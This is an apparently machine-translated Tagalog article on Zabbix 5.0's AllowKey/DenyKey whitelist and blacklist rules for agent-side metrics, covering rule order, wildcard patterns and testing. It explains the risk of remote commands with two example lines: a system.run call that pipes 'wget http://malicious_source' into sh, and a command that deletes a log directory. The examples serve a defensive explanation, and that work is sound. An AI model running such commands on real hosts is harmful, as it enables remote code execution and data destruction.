Suporta sa blacklist at whitelist para sa mga sukatan sa panig ng ahente sa Zabbix 5.0

Suporta sa blacklist at whitelist para sa mga sukatan sa panig ng ahente sa Zabbix 5.0

Suporta sa blacklist at whitelist para sa mga sukatan sa panig ng ahente

Tikhon Uskov, Integration Engineer, Zabbix

Mga isyu sa seguridad ng data

Ang Zabbix 5.0 ay may bagong feature na nagbibigay-daan sa iyong pagbutihin ang seguridad sa mga system gamit ang Zabbix Agent at pinapalitan ang lumang parameter Paganahin angRemoteCommands.

Ang mga pagpapabuti sa seguridad ng mga sistemang nakabatay sa ahente ay nagmumula sa katotohanan na ang isang ahente ay maaaring magsagawa ng malaking bilang ng mga potensyal na mapanganib na aksyon.

  • Maaaring mangolekta ang ahente ng halos anumang impormasyon, kabilang ang kumpidensyal o potensyal na mapanganib na impormasyon, mula sa mga configuration file, log file, password file, o anumang iba pang file.

Halimbawa, gamit ang zabbix_get utility maaari mong ma-access ang isang listahan ng mga user, kanilang mga home directory, password file, atbp.

Suporta sa blacklist at whitelist para sa mga sukatan sa panig ng ahente sa Zabbix 5.0

Pag-access ng data gamit ang zabbix_get utility

TANDAAN. Makukuha lang ang data kung nabasa ng ahente ang mga pahintulot sa kaukulang file. Ngunit, halimbawa, ang file /etc/passwd/ nababasa ng lahat ng gumagamit.

  • Ang ahente ay maaari ring magsagawa ng mga potensyal na mapanganib na utos. Halimbawa, key *system.run[Binibigyang-daan ka ng ]** na magsagawa ng anumang malayuang utos sa mga node ng network, kabilang ang pagpapatakbo ng mga script mula sa web interface ng Zabbix na nagpapatupad din ng mga utos sa panig ng ahente.

# zabbix_get -s my.prod.host -k system.run["wget http://malicious_source -O- | sh"]

# zabbix_get -s my.prod.host -k system.run["rm -rf /var/log/applog/"]

  • Sa Linux, ang ahente ay tumatakbo bilang default nang walang mga pribilehiyo sa ugat, habang sa Windows ito ay tumatakbo bilang isang serbisyo bilang System at may walang limitasyong pag-access sa file system. Alinsunod dito, kung walang mga pagbabagong ginawa sa mga parameter ng Zabbix Agent pagkatapos ng pag-install, ang ahente ay may access sa registry, file system at maaaring magsagawa ng mga query sa WMI.

Sa mga naunang bersyon ang parameter EnableRemoteCommands=0 pinapayagan lang na huwag paganahin ang mga sukatan gamit ang key *system.run[]** at pagpapatakbo ng mga script mula sa web interface, ngunit walang paraan upang paghigpitan ang pag-access sa mga indibidwal na file, payagan o huwag paganahin ang mga indibidwal na key na na-install sa ahente, o limitahan ang paggamit ng mga indibidwal na parameter.

Suporta sa blacklist at whitelist para sa mga sukatan sa panig ng ahente sa Zabbix 5.0

Gamit ang EnableRemoteCommand parameter sa mga naunang bersyon ng Zabbix

AllowKey/DenyKey

Tumutulong ang Zabbix 5.0 na maprotektahan laban sa gayong hindi awtorisadong pag-access sa pamamagitan ng pagbibigay ng mga whitelist at blacklist para sa pagpapahintulot at pagtanggi sa mga sukatan sa panig ng ahente.

Sa Zabbix 5.0 lahat ng mga susi, kasama ang *system.run[]** ay pinagana, at dalawang bagong opsyon sa pagsasaayos ng ahente ang naidagdag:

AllowKey= - pinahihintulutang mga tseke;

DenyKey= - mga ipinagbabawal na tseke;

kung saan ay isang pangunahing pattern ng pangalan na may mga parameter na gumagamit ng metacharacter (*).

Binibigyang-daan ka ng AllowKey at DenyKey key na payagan o tanggihan ang mga indibidwal na sukatan batay sa isang partikular na pattern. Hindi tulad ng iba pang mga parameter ng configuration, ang bilang ng mga parameter ng AllowKey/DenyKey ay hindi limitado. Binibigyang-daan ka nitong malinaw na tukuyin kung ano ang eksaktong magagawa ng ahente sa system sa pamamagitan ng paglikha ng isang puno ng mga tseke - mga executable key, kung saan ang pagkakasunud-sunod kung saan nakasulat ang mga ito ay gumaganap ng napakahalagang papel.

Pagkakasunod-sunod ng mga tuntunin

Ang mga patakaran ay sinuri sa pagkakasunud-sunod kung saan sila ay ipinasok sa configuration file. Sinusuri ang susi ayon sa mga panuntunan bago ang unang tugma, at sa sandaling tumugma ang susi ng elemento ng data sa pattern, ito ay pinapayagan o tinanggihan. Pagkatapos nito, hihinto ang pagsusuri ng panuntunan at ang natitirang mga key ay hindi papansinin.

Samakatuwid, kung ang isang elemento ay tumugma sa parehong allow at deny na panuntunan, ang resulta ay depende sa kung aling panuntunan ang mauna sa configuration file.

Suporta sa blacklist at whitelist para sa mga sukatan sa panig ng ahente sa Zabbix 5.0

2 magkaibang panuntunan na may parehong pattern at isang susi vfs.file.size[/tmp/file]

Ang pagkakasunud-sunod ng paggamit ng mga AllowKey/DenyKey key:

  1. eksaktong mga tuntunin,
  2. pangkalahatang tuntunin,
  3. ipinagbabawal na tuntunin.

Halimbawa, kung kailangan mo ng access sa mga file sa isang partikular na folder, dapat mo munang payagan ang pag-access sa mga ito, at pagkatapos ay tanggihan ang lahat ng iba pa na hindi nahuhulog sa loob ng itinatag na mga pahintulot. Kung gagamitin muna ang panuntunan sa pagtanggi, tatanggihan ang access sa folder.

Suporta sa blacklist at whitelist para sa mga sukatan sa panig ng ahente sa Zabbix 5.0

Tamang pagkakasunod-sunod

Kung kailangan mong payagan ang 2 utility na tumakbo sa pamamagitan ng *system.run[]**, at ang tuntunin sa pagtanggi ay unang tutukuyin, ang mga utility ay hindi ilulunsad, dahil ang unang pattern ay palaging tutugma sa anumang key, at ang mga kasunod na panuntunan ay hindi papansinin.

Suporta sa blacklist at whitelist para sa mga sukatan sa panig ng ahente sa Zabbix 5.0

Maling pagkakasunod-sunod

Mga pattern

Pangunahing panuntunan

Ang pattern ay isang expression na may mga wildcard. Ang metacharacter (*) ay tumutugma sa anumang bilang ng anumang mga character sa isang partikular na posisyon. Maaaring gamitin ang mga metacharacter sa parehong pangalan ng key at sa mga parameter. Halimbawa, maaari mong mahigpit na tukuyin ang unang parameter na may teksto, at tukuyin ang kasunod bilang wildcard.

Ang mga parameter ay dapat na nakapaloob sa mga square bracket [].

  • system.run[* - mali
  • vfs.file*.txt] - mali
  • vfs.file.*[*] - tama

Mga halimbawa ng paggamit ng wildcard.

  1. Sa key name at sa parameter. Sa kasong ito, ang susi ay hindi tumutugma sa isang katulad na susi na hindi naglalaman ng isang parameter, dahil sa pattern na ipinahiwatig namin na nais naming makatanggap ng isang tiyak na pagtatapos ng pangalan ng susi at isang tiyak na hanay ng mga parameter.
  2. Kung ang pattern ay hindi gumagamit ng mga square bracket, pinapayagan ng pattern ang lahat ng mga key na hindi naglalaman ng mga parameter at tinatanggihan ang lahat ng mga key na naglalaman ng tinukoy na parameter.
  3. Kung ang susi ay nakasulat nang buo at ang mga parameter ay tinukoy bilang wildcard, ito ay tutugma sa anumang katulad na key sa anumang mga parameter at hindi tutugma sa susi nang walang mga square bracket, ibig sabihin, ito ay papayagan o tatanggihan.

Suporta sa blacklist at whitelist para sa mga sukatan sa panig ng ahente sa Zabbix 5.0

Mga panuntunan para sa pagpuno ng mga parameter.

  • Kung ang isang key na may mga parameter ay nilalayong gamitin, ang mga parameter ay dapat na tinukoy sa configuration file. Dapat tukuyin ang mga parameter bilang isang metacharacter. Kinakailangang maingat na tanggihan ang pag-access sa anumang file at isaalang-alang kung anong impormasyon ang maibibigay ng sukatan sa ilalim ng iba't ibang spelling - may mga parameter at walang.

Suporta sa blacklist at whitelist para sa mga sukatan sa panig ng ahente sa Zabbix 5.0

Mga tampok ng pagsulat ng mga susi na may mga parameter

  • Kung ang isang key ay tinukoy na may mga parameter, ngunit ang mga parameter ay opsyonal at tinukoy bilang isang metacharacter, isang key na walang mga parameter ay malulutas. Halimbawa, kung gusto mong i-disable ang pagtanggap ng impormasyon tungkol sa load sa CPU at tukuyin na ang system.cpu.load[*] key ay dapat na hindi pinagana, huwag kalimutan na ang key na walang mga parameter ay magbabalik ng average na halaga ng load.

Suporta sa blacklist at whitelist para sa mga sukatan sa panig ng ahente sa Zabbix 5.0

Mga panuntunan para sa pagpuno ng mga parameter

Mga Tala

pag-aayos

  • Hindi mababago ng user ang ilang panuntunan, halimbawa, mga panuntunan sa pagtuklas o mga panuntunan sa awtomatikong pagpaparehistro ng ahente. Ang mga panuntunan ng AllowKey/DenyKey ay hindi nakakaapekto sa mga sumusunod na parameter:
    - HostnameItem
    - HostMetadataItem
    - HostInterfaceItem

TANDAAN. Kung hindi pinagana ng isang administrator ang isang key, kapag na-query, hindi nagbibigay ang Zabbix ng impormasyon tungkol sa kung bakit nabibilang ang sukatan o key sa kategoryang 'HINDI SUPORTADO'. Ang impormasyon tungkol sa mga pagbabawal sa pagpapatupad ng mga malalayong utos ay hindi rin ipinapakita sa mga file ng log ng ahente. Ito ay para sa mga kadahilanang panseguridad, ngunit maaaring magpalubha sa pag-debug kung ang mga sukatan ay nahuhulog sa isang hindi sinusuportahang kategorya para sa ilang kadahilanan.

  • Hindi ka dapat umasa sa anumang partikular na pagkakasunud-sunod para sa pagkonekta ng mga external na configuration file (halimbawa, sa alpabetikong pagkakasunud-sunod).

Mga utility sa command line

Pagkatapos i-set up ang mga panuntunan, kailangan mong tiyakin na ang lahat ay na-configure nang tama.

Maaari mong gamitin ang isa sa tatlong opsyon:

  • Magdagdag ng sukatan sa Zabbix.
  • Subukan sa zabbix_agentd. Zabbix agent na may opsyon -print (-p) ipinapakita ang lahat ng mga key (na pinapayagan bilang default) maliban sa mga hindi pinapayagan ng configuration. At kasama ang pagpipilian -test (-t) dahil babalik ang isang ipinagbabawal na susi 'Hindi sinusuportahang item key'.
  • Subukan sa zabbix_get. Kagamitan zabbix_get may opsyon -k babalik 'ZBX_NOTSUPPORTED: Hindi kilalang sukatan'.

Payagan o tanggihan

Maaari mong tanggihan ang pag-access sa isang file at i-verify, halimbawa, gamit ang utility zabbix_getna ang pag-access sa file ay tinanggihan.

Suporta sa blacklist at whitelist para sa mga sukatan sa panig ng ahente sa Zabbix 5.0

**

TANDAAN. Binabalewala ang mga quote sa parameter.

Sa kasong ito, ang pag-access sa naturang file ay maaaring pahintulutan sa pamamagitan ng ibang landas. Halimbawa, kung ang isang symlink ay humahantong dito.

Suporta sa blacklist at whitelist para sa mga sukatan sa panig ng ahente sa Zabbix 5.0

Inirerekomenda na suriin ang iba't ibang mga pagpipilian para sa paglalapat ng tinukoy na mga patakaran, at isaalang-alang din ang mga posibilidad ng pag-iwas sa mga pagbabawal.

Tanong at Sagot

Tanong. Bakit pinili ang ganitong kumplikadong pattern na may sariling wika upang ilarawan ang mga tuntunin, pahintulot at pagbabawal? Bakit hindi posible na gamitin, halimbawa, ang mga regular na expression na ginagamit ng Zabbix?

Sagutin. Isa itong isyu sa pagganap ng regex dahil karaniwang may isang ahente lamang at sinusuri nito ang isang malaking bilang ng mga sukatan. Ang Regex ay medyo mabigat na operasyon at hindi namin masuri ang libu-libong sukatan sa ganitong paraan. Mga Wildcard - isang unibersal, malawakang ginagamit at simpleng solusyon.

Tanong. Hindi ba kasama ang mga file na Isama sa pagkakasunod-sunod ng alpabeto?

Sagutin. Sa pagkakaalam ko, halos imposibleng mahulaan ang pagkakasunud-sunod kung saan ilalapat ang mga panuntunan kung ikalat mo ang mga panuntunan sa iba't ibang mga file. Inirerekomenda kong kolektahin ang lahat ng mga panuntunan ng AllowKey/DenyKey sa isang Isamang file, dahil nakikipag-ugnayan sila sa isa't isa, at kasama ang file na ito.

Tanong. Sa Zabbix 5.0 ang opsyon 'EnableRemoteCommands=' ay nawawala sa configuration file, at AllowKey/DenyKey lang ang available?

Sagot. Oo, tama iyan.

Salamat sa iyo!

Pinagmulan: www.habr.com

Magdagdag ng komento